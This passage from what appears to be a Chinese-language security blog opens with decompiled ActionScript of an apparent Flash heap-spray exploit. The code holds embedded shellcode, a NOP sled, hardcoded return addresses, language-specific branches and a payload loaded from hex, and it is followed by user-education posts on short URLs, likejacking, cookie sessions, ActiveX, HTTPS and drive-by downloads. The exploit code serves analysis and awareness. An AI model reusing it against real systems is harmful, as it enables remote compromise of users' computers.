this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("cn");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(2008988467);
this.s.writeInt(3435973836);
this.s.writeInt(2008964821);
this.s.writeInt(3435973836);
this.s.writeInt(2008944920);
this.s.writeInt(2009023683);
this.s.writeInt(3435973836);
this.s.writeInt(2009016856);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r_cn = this.hexToBin(this.t);
this.ldr_cn = new Loader();
this.ldr_cn.loadBytes(this.r_cn);
} // end if
if (Capabilities.language.toLowerCase() == "en") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
this.s.writeInt(3336650628);
this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("en");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(1995123259);
this.s.writeInt(3435973836);
this.s.writeInt(1995172943);
this.s.writeInt(3435973836);
this.s.writeInt(2009141528);
this.s.writeInt(2009220291);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(2009213464);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
this.ldr.loadBytes(this.r);
} // end if
if (Capabilities.language.toLowerCase() == "ja") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
this.s.writeInt(3336650628);
this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("jp");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(2008857395);
this.s.writeInt(3435973836);
this.s.writeInt(2008833749);
this.s.writeInt(3435973836);
this.s.writeInt(2008813848);
this.s.writeInt(2008892611);
this.s.writeInt(3435973836);
this.s.writeInt(2008885784);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r_jp = this.hexToBin(this.t);
this.ldr_jp = new Loader();
this.ldr_jp.loadBytes(this.r_jp);
} else {
trace("I am " + Capabilities.language);
trace("failed");
} // end else if
stop();
return;
} // end function
}
}

繼續閱讀全文...

2011年4月4日

上網安全之邪惡短網址 (Surfing Secure for URL Shortening Services)

先利用 google 搜尋關鍵字:「短網址」,就可以知道何謂短網址。或者查詢維基百科(Wiki)也行。

常見短網址服務的網域有:
http://tinyurl.com/
http://0rz.tw/
http://0rz.com/
http://ppt.cc/
http://goo.gl/
http://bit.ly/
... ... 其他好多!! 總之我用邪惡短網址稱呼。也許它全然不是壞的,但是幾百個短網址連結,出現一個問題,可能就很頭大;問題是如果要檢查幾百個短網址可能更頭大,你該如何自處呢?點還不點連結?

短網址在網路上使用越來越廣泛了,就連 google 也加入短網址服務,這類短網址還有很多並沒有在清單中。絕大部分的短網址有個特色,域名很短且域名之後為一串固定長度的英數字組成,對於短網址必須具有基本識別能力。對於網站中出現的短網址也必須加以注意,因為,它很容易被利用,做為隱藏惡意連結或惡意網域之用。

為了抓個圖,讓網友了解,等了許久這圖終於出現了:

這可是相當典型的「Likejacking」手法,而且還配合短網址做利用。相關資料可以參考 這裡 還有 這裡 。應該很多人已經點擊該連結了吧,問題是都沒感覺有發生過啥問題...XD。FB 現在還是很甜蜜的,再過段時日,就會有一堆垃圾、廣告、行銷的東東,甚至是惡意連結,出現在大家的牆上,沒辦法,別忘了 FB 可是要取代 EMail 的。

與短網址有異曲同工之妙的,如「OWASP Top 10 for 2010」中,A10: Unvalidated Redirects and Forwards(未驗證的轉址與轉送)。短網址都大辣辣的提供服務了,相較之下,Unvalidated Redirects and Forwards 的問題實在沒啥大不了的。話說回來,把這兩個搭在一起,再做點變形,還蠻好玩的哩,可以更隱密的隱藏惡意連結...@@。

對於網站上短網址的出現,需加以留意。若出現在即時通訊(MSN, Yahoo Messenger, google talk, skype …等),那就該更加小心。因為,你不知它會連結到哪個網頁上。

其他 Web 常見攻擊手法或衍生資安問題
  • 網頁掛馬手法
  • 魚叉式網路釣魚
  • 關鍵字查詢利用(SEO Poison)
  • 惡意程式的下載與執行
  • 網路個人資料外洩
  • 金融交易資料外洩
  • 網路交易詐騙
  • 詐騙網站、郵件
  • 偽防毒網站(流氓軟體)
  • 人肉搜尋
  • 社群網站的個資
  • 不當網路留言、不當上傳影音照片
  • 內部機敏資料的外洩

結論:
對於企業用戶而言,相信也擺脫不了瀏覽器,無論是存取內部網站或外部網頁,端點安全一直都是企業難以建全防護的地方。對於威脅而言,透過惡意網頁的滲透,很多時候也不需要高深的技術,只需要一個完美策劃的劇本,這將在在考驗企業的用戶。如何修正使用者上網觀念成為重要課題,也僅以此篇文章,與 IT 人員在推廣使用者教育訓練上,提供一些參考方向與觀念內容,強化使用者上網的觀念。

完整文章亦投稿於「資安人雜誌,2010. Jan/Feb. No.73,你的上網行為安全嗎?」
本文也張貼於「資安之我見」。

繼續閱讀全文...

2011年3月14日

上網安全之Cookie/Session (Surfing Secure for Cookie/Session)

Cookie/Session 不注意,無法確保網路身份遭到冒用或濫用。

這個議題很嚴重,但卻沒人注意問題的嚴重性。目前主流的瀏覽器都有所謂「Tab」功能,IE 稱為「索引標籤」、Chrome & FireFox稱為「分頁」、Safari還用到兩個名稱「索引標籤」與「標籤頁」。要特別注意,目前這些新版瀏覽器,只要是同類瀏覽器,不管你開啟幾個視窗或幾個「Tab」,預設來說都會擁有相同的 Cookie/Session 身份,因為對於系統來說,預設它們都處於一個相同的 Process上。這跟早期的瀏覽器運作很不一樣,早期一個瀏覽器視窗會有獨立的 Process,因此,Cookie/Session 身份很容易切割。

這會帶來甚麼問題呢?看看下圖。如果已經在一個「Tab」登入了 MSN,這時另外一個「Tab」登入 FB 之後,如果點擊了「尋友工具」,會有甚麼結果呢?


答案是:FB 會自動到把 MSN 的好友清單,匯出到 FB 的邀請朋友清單中,進行邀請朋友的動作,過程中並不需要輸入 MSN 的帳號密碼。問題就來了,你知道你目前正以哪一個身份瀏覽該網站嗎?這也是網友該了解的一個基本觀念,否則,無法確保身份遭到冒用或濫用。

如果要在同一瀏覽器下切割「視窗」或「Tab」使用不同身份,可以 google 搜尋關鍵字:「多重帳號同時登入」,可以找到一些方法,已經有很多網友提供意見,其中最方便使用的是 FireFox 的 CookiePie 套件,可以用「Tab」來切割,這點很重要,因為其它很多類似的 Cookie 管理工具並沒有「Tab」的概念存在;其他比較簡單的是 IE,只需在啟動捷徑上加入參數"-nomerge",這樣Cookie/Session 身份可以限制在「同一個 IE視窗」。


最簡單的方式,就是不改預設狀況下,使用不同瀏覽器來切割,但我相信這方式應該無法滿足絕大多數的網友。現今來說,瀏覽器一開,登入五、六個帳號以上大概是基本動作了,而這兩年社群網站的興起,更增加許多網站的彼此互動性,如「推」、「讚」、「噗」、「分享」…等,如下圖,這些動作都與 Cookie/Session 身份有莫大的關係。當然,大部分的網站是不會惡意利用,但,遇到釣魚網站或惡意網站,可能結果就不會如網友預期的結果。


之前也有針對臉書的攻擊行動,可參考「Facebook 出現點閱綁架(Clickjacking)之攻擊手法分析」一文,其中攻擊過程就有使用到跨視窗 Cookie/Session 的。國外稱此為「Likejacking」攻擊手法。

最近,很多網站流行要按「讚」才看得到文章的網站。臉書上也有人發起「要按讚才能觀看嗎?拒絕強迫按讚」的活動,這類都是一種身份濫用的狀況,利用你的身份來推銷文章,很多時候這些文章一點意義也沒有...XD。預期未來這類狀況會越來越嚴重。

另外,分享對 FireFox 之 CookiePie 套件使用經驗,此套件在部分網站上會導致驗證不過的問題,或導致一些瀏覽瑕疵。所以我倒過來使用的,也就是說看到 CookiePie 運作下時,該瀏覽過程是沒有 Cookie/Session 身份在瀏覽器的「Tab」中,如下圖,先開啟空白的「Tab」,再開啟CookiePie 運作,使該「Tab」沒有 Cookie/Session 身份在其中,在此進行一般上網瀏覽的行為。


完整文章亦投稿於「資安人雜誌,2010. Jan/Feb. No.73,你的上網行為安全嗎?」。
本文也張貼於「資安之我見」。

繼續閱讀全文...

2011年3月9日

上網安全之Active X (Surfing Secure for Active X)

當心遭惡意利用 Active X 元件軟體。

這問題經常發生於早期首頁綁架、彈出式廣告視窗...等,瀏覽器異常狀況的問題起因。

Active X 是 IE 瀏覽器上,很特別的一個功能,也僅能在 IE 瀏覽器上使用,其他瀏覽器如 FireFox、Chrome 等,並未支援 Active X 功能。首先,你一定得要先看看微軟對 Active X 的說明:「在電腦上安裝 ActiveX 控制項是否安全?」
網址為:http://www.microsoft.com/taiwan/protect/yourself/downloads/activex.mspx

Active X 翻譯中文,很多人用「附加元件」的名稱,但要注意,FireFox 也有所謂的「附加元件」,不過英文是「Add-on」,其兩者功能與作用上很類似,但實際上是不一樣的,所以,還是以英文來稱呼,比較不容易搞混。至於 Chrome 也有類似的功能,稱為「Google Chrome Extensions (Google 瀏覽器擴充功能)」。這些所謂的套件或元件並不能跨瀏覽器使用的,目前 FireFox 與 Chrome 的附加元件或擴充功能,有進行一些機制的控管,但是也要注意使用到惡意的附加元件或擴充功能,導致瀏覽器的異常。建議由下列網址抓取附加元件或擴充功能會比較安全:
FireFox:https://addons.mozilla.org/
Chrome:https://chrome.google.com/extensions
至於,Active X 就沒有統一的管控機制,因此也比較容易被利用,這也是對此特別說明的原因。

Active X 出現畫面:

有些比較舊的 IE 版本有可能出現畫面:

尤其是後面這個畫面也有很多瀏覽者有網路誤解,以為可以提高瀏覽的安全性,所以閉著眼睛點擊,這是不對的;話又說回來,這畫面跟 Active X 看起來一點關係也沒有,難怪使用者會誤會。若出現上面兩張圖,它代表「目前瀏覽的網站,要在瀏覽器(IE)上安裝附加元件,你是否同意?」,這個動作有相當程度的危險性。

早期很多惡意程式都會利用 Active X 方式,安裝到使用者的電腦中,導致首頁被綁架或不斷跳出廣告視窗…等,都是因為這個原因。來看一下一個有問題的「安全性警告」:

所以,哪時該點「是」?哪時又該點「否」呢?很重要的一個觀念:「你是否信任目前瀏覽的網站,如果有疑慮避免點擊是或同意的選項」。以目前來說,瀏覽網際網路很多時候取決於你是否信任該網站,很多端點防護軟體或資安設備都類似這樣的觀念在運作,像「網站信譽評等軟體(Web Reputation Services-WRS)」的運作就幾乎一樣,而這將會是你在上網警覺性上,很重要的一個基礎觀念。

假設,你目前正在瀏覽網路銀行或 WebATM 網頁,這些網站的運作也都會使用到 Active X 元件,在確認你瀏覽的網站確實是銀行的網址,並非釣魚網頁後,也都安裝Active X 元件才能正常使用網路銀行或 WebATM 功能。

假設,你正在瀏覽賭博或色情網站,網頁出現需要安裝 Active X 元件,這時,你還進行安裝動作,這時,你的風險相對增加很多,很可能就安裝了惡意的元件,導致瀏覽器的異常發生。

對於各瀏覽器的「附加元件」,網友都要小心安裝使用,這就跟目前很流行的 APP 概念(iPhone的APP、Fackbook 的APP)類似,要是不小心使用遭惡意利用的 APP 哪就麻煩了。

完整文章亦投稿於「資安人雜誌,2010. Jan/Feb. No.73,你的上網行為安全嗎?」。
本文也張貼於「資安之我見」。

繼續閱讀全文...

2011年2月27日

上網安全之HTTPS/SSL (Surfing Secure for HTTPS/SSL)

上網安全這是個很大的議題,尤其在電子郵件的用戶端程式 Web 化後,網友只要以瀏覽器就能完成所有事情,不過還是有部分網友習慣使用特定的收信軟體,如Outlook…等,主要原因還是用於同步周邊裝置,如早期的 PDA、智慧型手機…等。但,大部分的網友,多半只要有瀏覽器就可以完成上網作業以及所需工作。
當使用者對瀏覽器的依賴持續加深,成為不可或缺的工具,相對的,對瀏覽器的操作使用就必須更加深入了解才行,善用工具、正確使用、建立防護觀念,將會是網友持續努力的一個課題。

這邊將針對 SSL (Secure Sockets Layer) 、 Active X、Cookie/Session 身份管控、短網址...等各部分來說明,為了灌水使網友充分了解,這裡將分文說明:

首先是 SSL,它並不代表這個網站是很安全、不會被入侵的。

SSL 是一種加密技術,主要用於網際網路的傳輸加密,指的是「瀏覽器」與「網站」之間,透過網際網路時,會使用加密技術傳遞資料,避免他人在中間竊取網路封包,窺探網友的瀏覽網頁內容資訊;一般大多實作為 HTTPS 方式,也就是說瀏覽網站的網址開頭會是「https://xxx.xxx/」,但要注意的是並非「https」開頭,就表示有加密,必須要多識別一個圖示:

(圖片來源:http://www.microsoft.com/hk/athome/chinese/security/images/online/74349_https_F.jpg)

對,就是一個「安全鎖」的圖案,這個圖案在各瀏覽器呈現的位置會不太一樣,且一定要出現在該出現的位置才正確。沒錯!!問題又來了。誰知道該出現在哪裡呀?很抱歉這是網路生存的基本技巧,只要網路使用者,你就必須了解,就跟吃飯呼吸一樣。

很多網站會把「HTTPS」與「網站安全」劃上等號,這是網路誤解。這不能怪網友,很多網站是刻意把這等號劃上的,詳細原因這就不多說了。網友一定要知道,「HTTPS」只保障「瀏覽器」與「網站」之間的網路傳輸安全;另外還有端點的問題,也就是說,網站主機或瀏覽器主機還是可能遭植入惡意程式,而遭受攻擊。

回到先前話題,如何知道「HTTPS」的加密功能正在運作呢?不同瀏覽器「安全鎖」的圖案該出現在哪裡呢?你可以試著以瀏覽器連結下列網址:「https://encrypted.google.com/」,找到「安全鎖」的圖案,如下圖:



在了解「安全鎖」的圖案的位置之後,接下來就是要確定這些「安全鎖」必須經得起考驗了,這也是瀏覽者可以驗證圖示的正確性。可以點擊這些「安全鎖」圖案,去查詢所謂「憑證」的內容,如下圖:


「憑證」的內容中包含許多資訊,其中詳細資訊包含的加密使用的相關技術,關係著這是否有機會破密的可能性,對瀏覽使用者來說只能被動性的接受;但,瀏覽使用者必須了解一點,上圖中「發給」(有的瀏覽器會用「網站」)的網域,必須與瀏覽器「瀏覽的網域(或稱網址名稱)」要契合,且這個網站的網址是沒有問題(確實是你要瀏覽的網站)的。在瀏覽的過程中,看到「安全鎖」圖案正常的運作,就表示網路通訊是有在加密保護下的。

這是識別釣魚網站的技巧之一,其他識別釣魚網站方式可以本部落格,例如「模擬實戰釣魚網站(Challenge to Phishing-II) Part-II」。了解以上幾個動作之後,接下來就是了解其應用了,你必須了解何謂「全程加密」與「登入加密」,簡單的說,「全程加密」是自帳號登入開始,到帳號登出的過程都是在加密的狀態;而「登入加密」只有在帳號登入的動作進行加密。所以「登入加密」只保護了使用者帳號密碼,「全程加密」保護了更多資料內容。若您使用網路銀行時,應該是「全程加密」還是「登入加密」呢?

另外,您使用網頁存取電子郵件時,是「全程加密」還是「登入加密」呢?Gmail已經在2010年初就使用「全程加密」了,Hotmail於2010年11月出也推出「全程加密」功能,不過,還需要使用者手動開啟「全程加密」的功能;Yahoo信箱目前還只有「登入加密」的功能。對於瀏覽者經常使用的電子郵件信箱,提供哪些保護,也是網友應該去加以了解的。

Facebook也開始提供「全程加密」功能了,就在2011年一月底,可以參考這裡。它也是需要手動開啟的喔!!

另外,「全程加密」也會有假貨...lol。

來看這張圖顯示的訊息:


這是 IE 8 才有的特別功能,預設狀況下是會跳出此視窗的。來看看微軟的說法:「為何當使用 IE 8 瀏覽網站時,總會跳出安全性警告視窗?」中「問題的來龍去脈」。這是在說啥呢?即便是「全程加密」,但過程中仍有部分網頁內容是沒有經過加密的。哪些網頁內容有加密哪些沒加密呢?這也不是使用者能選擇的,也許重要的網頁內容資訊是沒有加密的哩。目前國內還有許多證券網站、網路銀行還是會跳出這訊息視窗的,網友可得多加注意呀!!

講白一點好了。出現上面的警告視窗,即便有 HTTPS 但可能一點用也沒有,純唬你的... ...哀哉。啊... ...沒看到這警告視窗,借問可是用 IE 8。

~~問世間資安為何物,直叫鄉民出生入死~~

完整文章投稿於「資安人雜誌,2011 Jan/Feb. No.73,你的上網行為安全嗎?」。
本文也張貼於「資安之我見」。

繼續閱讀全文...

2011年1月31日

是惡意廣告(Malvertising)? 還是偷渡式下載(Drive-by download)?

最近,我們正在思考有關如何來產生一些惡意廣告的統計數據。

不過有時候它是很狡詐的,因為現在愈來愈多的偷渡式下載(drive-by downloads)會偽裝自已是來自廣告伺服器,試圖地隱藏它自已。

這邊有一個例子。最近我的掃瞄器偵測到一個在韓國排名第671的betanews.net的新聞網站,會進行偷渡式下載(drive-by downloads)。
